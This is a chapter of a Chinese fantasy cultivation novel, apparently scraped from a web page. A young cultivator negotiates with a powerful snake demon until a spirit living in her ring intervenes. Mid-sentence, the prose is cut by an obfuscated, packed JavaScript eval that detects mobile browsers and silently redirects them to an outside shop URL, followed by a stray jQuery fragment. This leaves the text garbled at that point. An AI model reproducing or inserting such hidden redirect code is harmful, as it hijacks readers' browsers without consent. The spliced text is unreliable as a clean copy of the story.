青色巨虺缓缓游近,花枳脑中只有一句话:蛇修千年为虺,虺修万年为蛟。
眼前的青虺头顶已有肉角生出,想来不日就会化蛟。
便是最低等的地蛟也是七阶大妖!
也就是说,眼前的青虺最低也是六阶!相当于人族修士的炼虚大能!
花枳:……好不容易自己成了元婴真君!结果,还不够人家秒的!
她笑容苦苦的,“这位姐姐,能不吃我吗?我不是故意进你的地盘打扰你的。”她指了指空空如也的天上,“我是被一群飞行妖兽追着,不小心逃进来的。”
“他们应该是被姐姐您散发的威势吓退的,姐姐既然救了我的命,就别吃我了好吗?”
“我这么个小身板配不上你威武雄壮的身躯啊!”
“小丫头倒是嘴甜。”青虺向花枳又游了一段,化成一名身着青色长衫面容妩媚的女子,“如此,我还威武雄壮吗?”
马屁拍在马腿上了!
花枳立刻改口,“姐姐身姿曼妙世所罕见,真是我见犹怜!”
青虺捂着嘴笑,眼神却是冷的,“真是个嘴甜的。”话落又板起脸,“但我最讨厌会说甜言蜜语的嘴,都是骗人的!”
“姐姐我不会说谎的!”花枳看着青虺,很认真说道,“姐姐本体威武,人身曼妙,这都是实话啊,天地可证!”
“是吗?”青虺挥手,围着花枳的松叶墙化为灰烬,她淡淡“嗯”了声,“我喜欢听实话,天地可证的实话。”
花枳没敢松懈,她总觉得此时是站在钢丝上,两头都有人拿着刀随时准备砍下来。
“是不是想离开这里?”
花枳:……是,还是不是?这是道送命题。
“姐姐想我离开吗?”花枳弱弱反问。
“哈哈哈!”青虺捂着嘴笑弯了腰,“真是个有趣的小丫头,我都有些不忍心吃你了。”眼神仍旧冰冷。
花枳干笑,不知道该怎么回这话,生怕说错了,下一瞬她就被青虺吞吃入腹。
“知道这是哪里吗?”
花枳点头,老老实实回答:“知道,落日之森内围。”高阶大妖的老巢!呜!
青虺又“嗯”了声,“我可以放你离开。”
花枳不敢露出喜色,只呼吸停了停,青虺轻笑,“不过,得用一样东西来换。”
“姐姐想要什么?”
“落日之森最北边有一池寒潭,寒潭底有一朵千叶佛手莲,你把她拿来给我。”
“可是,外面还有很多飞行妖兽……”花枳迟疑着说道,“我怕我踏出姐姐的地盘就被它们分了。”
“那就是你的事了。”青虺拿出一片青色鳞片递给花枳,“留一滴你的血,若是你敢逃。”她没再往下说,示意花枳照做。
花枳笑得很苦,眼睛鼻子都快要挤在一起了,没往下说也好,反正不会是她爱听的话。
“姐姐,我不会逃的,血就不必留了吧?”谁知道青虺会拿她的血做什么?修士血肉头发都是不能交给外人的。
“你觉得,我是在跟你商量?”青虺笑容依旧,说出话却冷冰冰的,“你自己选吧,留血还是留命。”
这让人怎么选?她倒是想两个都不选,青虺肯吗?
花枳开始思考用神识再次取巧的可能性,只是这次恐怕得付出很大的代价了。
她顺了顺小狐狸的白毛,拼一把吧,总比留着隐患的好,修士的血能做的文章太多了。
青虺见花枳犹豫,脸沉了下来,“你不信我?”她轻哼了声,“说到底,也是个表里不一的,说的比唱的好听。”
花枳无言以对,青虺说的没错,她确实是想用最小的代价脱困,她下意识藏了藏手。
青虺冷笑,“由得你吗?”话落,她瞬移到花枳面前,抓住她的手腕就要用青鳞划破,花枳眼神一厉,探出神识就要攻向青虺紫府。
青虺愣愣看着花枳指间的龙纹白玉戒,“这戒指?”她看向花枳,眼神里有悲伤更多的是期待,“你哪来的?”
“快说!”眉宇间隐隐含着杀气,也不再收敛威压。
花枳气血翻涌,只能先收回神识自保,以抵抗六阶大妖的杀意。
“是,一位长辈送给我的。”花枳艰难说道。
“长辈?”青虺见花枳能在她威压下还有余力开口,眼里多了几分探究,“什么样的长辈?”
花枳艰难抵挡着青虺的威压,小心分出一份神识用力刺向对方的紫府。
青虺眉间微动,青色虚影一晃挡住花枳的神识攻击,也是这个时候,她注意到了花枳神识过于强大的异状。
“你的神识?”青虺不再留手,指尖微动凝起一道青色灵力朝花枳攻去。
两人离得极近,花枳被对方威压压迫,放出去的神识还在与青虺的神识缠斗,以至于她没法及时做出应对,只能用灵力硬抗。
元婴对上炼虚,灵力对抗如泥牛入海。
没撑过一息,花枳就被击飞。
青虺飞身追上,手掌托着青鳞,“看来你是选择留命了。”话落青鳞射出,直冲花枳紫府,“让我挖出你的神魂看看有什奥秘。”
花枳拼尽灵力抵抗,也只是两息,青鳞就攻到了她的眼前。
她抬手一挡,“铿!”金属交击的锐响震得她几近失聪。
青虺不可置信看着被挡住的青鳞,花枳满眼防备,再次凝聚灵力准备迎接新一轮的攻击,又操控神识咬向青色神魂。
青色神魂随意躲开,返回青虺紫府。
花枳一愣,也收回了神识。
“白岐?”
花枳:……?
青虺收回青鳞,看着花枳怔怔出神。
花枳在奇袭后逃跑与老实等一下之间选择了后者,她觉得青虺看着有些不大正常的样子,还是不要惹怒她为好。
苟一苟,没准有奇迹呢,实在不行,她就躲灵境里继续闭关,等修为到了炼虚再出来,到时候抱着青虺渡雷劫,什么仇怨都消了。
“白岐。”青虺再次冲着花枳喊道。
花枳嘴角极轻微抽了抽,正想颔首认下,身周一冷,白色冷霜凝起,其中有个修长的轮廓若隐若现。
“白岐?”花枳震惊,真有这么个人?青虺没疯!
她看向青虺,青虺美目含泪,欲说还休,和刚刚喊打喊杀的模样大相径庭。
花枳看看青虺再转头看看白岐,好么,她是大灯泡。
“白岐,一万多年了,我还以为你死了!”青虺直直朝花枳扑来,扑进了她身边的白霜里。
花枳:……不杀了,那我走了?
她撑着手从地上站起来,小心翼翼往旁边挪了挪,白
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743204|208654||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
霜跟着往她挪了挪,露出了青虺又哭又笑的脸和空了的怀抱。
青虺朝花枳看过来,眼神恶狠狠的,意思是:你再动一下试试呢!威胁完又一脚踏入白霜里。
花枳愣住,白霜跟她有关?
冰灵气,莫非是那位银发黑眸的男人?
人妖恋?
不能吧?
那她?半人半妖?不容于世,所以被投入轮回,魂魄转生?
那青虺是她……?
花枳偷偷觑向白霜,白霜比刚刚浓了很多,什么都看不到,花枳忍不住脑补,万年未见的老情人,干柴烈火什么的。
打住!
她这么大个人还杵着呢!没那么夸张,最多诉诉衷肠!
如果啊,她是说如果,她的猜想是对的,那她现在也进入白霜里认亲?算了,她不敢,万一事情跟她想的不一样呢,她还不想英年早逝,虽然她已经百岁高龄。
没等花枳脑补完,白霜消失,一青一白两道身体相互依偎着出现在她的面前。
不是银发黑眸的男人!
花枳轻轻松了口气,不是半人半妖,太好了!
这,怎么说呢?其实有时候,半人半妖可能会更好一些,虽然也没好太多。
“花枳,我是白岐,栖身在你手上的龙纹白玉戒中。”
花枳没有很意外,青虺刚刚一见到龙纹白玉戒就失态,已经很好说明了这点。
“你跟树爷爷是旧识?”
白岐看着花枳的眼神很温和,气质很干净,几乎没有大妖的影子,看着更像个脾性温和的书生。
当然,只是看着像。
能让青虺这种七阶大妖这么温顺的,怎么可能是个手无缚鸡之力的书生?
“是。”白岐颔首,“我与老树皆受了重伤,他于灵境之中休养生息,我则栖身于龙纹白玉戒中疗伤。”
“这次,是感受到龙纹白玉戒有碎裂的危险,又感应到青霜的妖气,这才强行醒来。”
“多谢白前辈救命之恩!”花枳很上道,立刻拱手拜谢。
白岐弯了弯嘴角,“救你是应该的,不必谢我。”
“之后青霜会跟我一起栖身龙门白玉戒,希望你们俩能放下芥蒂。”
花枳微笑,“您及时救了我,姐姐并没有伤到我,何来芥蒂?”她的意见不重要,呵呵,反正她一个都打不过。
白岐伤重,撑不了太久,叮嘱花枳不要去魔族,就回了龙纹白玉戒。
青霜的笑容多了生气,终于不像贴在脸上的脸谱了,她看向花枳,“小丫头,按辈分,你该喊我一声青姨。”
花枳从善如流,“青姨,白前辈与我有什么渊源吗?”
青霜摇头,“你以后会知道的。”她手一抬,一道青色灵光落入花枳手心,是那枚青鳞。
“姐,青姨,你不会还要我的血吧?”
“胡说什么呢?我什么时候要过你的血?”青霜一点也不尴尬,揽住花枳僵硬的身体,“白岐伤重,我要去照顾他,替他疗伤,没时间顾你。”
“这枚青鳞有我的气息,你随身带着,七品以下的妖兽皆不敢放肆。”
她又拿出一份空白玉简贴上额头,数息后递给花枳,“这是落日之森的地图。”
“你可别小看这份地图,里面标注着我都眼热的灵植。”